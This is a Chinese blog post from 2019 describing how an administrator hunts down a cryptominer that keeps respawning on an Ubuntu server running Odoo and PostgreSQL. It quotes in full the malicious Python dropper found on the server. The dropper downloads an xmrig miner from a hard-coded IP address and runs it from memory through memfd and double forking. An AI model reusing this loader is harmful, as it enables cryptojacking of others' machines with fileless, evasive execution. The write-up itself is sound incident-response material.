服务器异常 随机名称的进程CPU资源占用过高

操作系统: Ubuntu 16.04

之前部署完odoo12后就经常出现服务挂掉的情况,查看状态一般都是某某包缺失,然后各种安装包,重启服务,这次发现CPU占用达到399%,而且每次进程名称都是随机的,通过postgres用户执行,遂怀疑之前安装包的时候装了什么不好的东西,通过以下步骤排查:

1. 通过top命令查看进程

  发现PID为2981的进程异常

 

2. 通过在进程目录下找执行的程序:

cd /cd/proc/2981
sudo ls -l exe

 定位到执行文件所在目录/var/lib/postgressql

 

3. 定位到执行文件后,切换到执行文件所在目录删除可疑文件

cd /var/lib/postgresql
ls -la

  一下就看到有若干可疑脚本文件和文件夹,将.ssh、.systemd-init、.bash_history都删除了。

 

4. kill异常进程

kill -9 2981

然后再使用top命令查看进程

 世界暂时安静了。

 

后续:观察了一小会,发现问题依旧,又出了一个新进程占CPU399%了,于是继续排查。

1. 通过对异常进程定位,发现还是在之前的目录,但进入到目录,发现之前被删除的文件没有再出现,于是进入到子目录内查找,在以下目录发现新问题

 

 首先,映入眼帘的是go.py文件,这太明显了,于是打开该文件,内容如下:

import os
import sys
import ctypes
import hashlib
import urllib2
import platform


def run_miner(binary):
    fd = ctypes.CDLL(None).syscall(319, "", 1)
    final_fd = open('/proc/self/fd/' + str(fd), 'wb')
    final_fd.write(binary)
    final_fd.close()

    fork1 = os.fork()
    print os.getpid()
    if 0 != fork1:
        os._exit(0)

    ctypes.CDLL(None).syscall(112)

    fork2 = os.fork()
    if 0 != fork2:
        os._exit(0)

    os.execl('/proc/self/fd/' + str(fd), '', '')


def load_miner(url):
    try:
        response = urllib2.urlopen(url)
        binary = response.read()
    except:
        return None
    return binary


def get_sysinfo():
    _arch = ctypes.sizeof(ctypes.c_void_p) * 8
    if _arch is 64:
        _arch = 64
    elif _arch is 32:
        _arch = 32
    else:
        return False

    kernel_name = platform.system()
    if "linux" in kernel_name:
        _os_name = "linux"
    elif "win" in kernel_name:
        _os_name = "win"
    else:
        return False

    return _os_name, _arch


def get_md5(binary):
    return hashlib.md5(binary).hexdigest()


if __name__ == "__main__":
    os_name, arch = get_sysinfo()

    if os_name != "linux":
        sys.exit(0)
    miner_url = "http://185.193.125.38:8000/cyka/xmrig-" + arch
    miner_md5 = ["fd4e61e02958b57b8446325b62efa1ea", "616b7f7f9a061fd8a90c83467e7139e0"]

    miner_max_retry = 10

    _dl_count = 1
    while True:
        miner_bin = load_miner(miner_url)
        if get_md5(miner_bin) in miner_md5 or miner_max_retry < _dl_count:
            break
        _dl_count = _dl_count + 1

    try:
        run_miner(miner_bin)
    except:
        pass

很明了了,应该就是它,删除该文件,然后kill掉异常进程,继续观察,一会后,问题依旧!!!!!


继续排查,还是在原来的目录下发现一个可执行文件,如下

这是可疑文件,删除之,欸,没任何反应。。。

 

 rm -rf 删了没反应!!!

文件还是在!!!

怎么办???

没权限??

chmod赋个777

 

 见鬼!

看着那个绿色的postgresq1眉头紧蹙,捶胸顿足,木有办法呢

十分钟过去了

二十分钟过去了

灵光一现,那后面不是l是1啊,这名字太好了,于是直接:

rm -rf postgresq1

 

删掉了!!!!!!!

赶紧kill异常进程,再观察,这次应该没问题了

 

再次后续。问题又来了!!!!!

若干时间后问题再现了,该删的都删了,还是能自动执行,查看了crontab任务、自启动项,都没有收获,几乎想放弃了,想到对方使用postgres账户执行,遂设置postgres账户密码,使用较强密码,然后再kill异常进程,过去40分钟了,这次没有再看到新的进程,谢天谢地!

posted @ 2019-09-20 08:41  lnkDel  阅读(850)  评论(0编辑  收藏  举报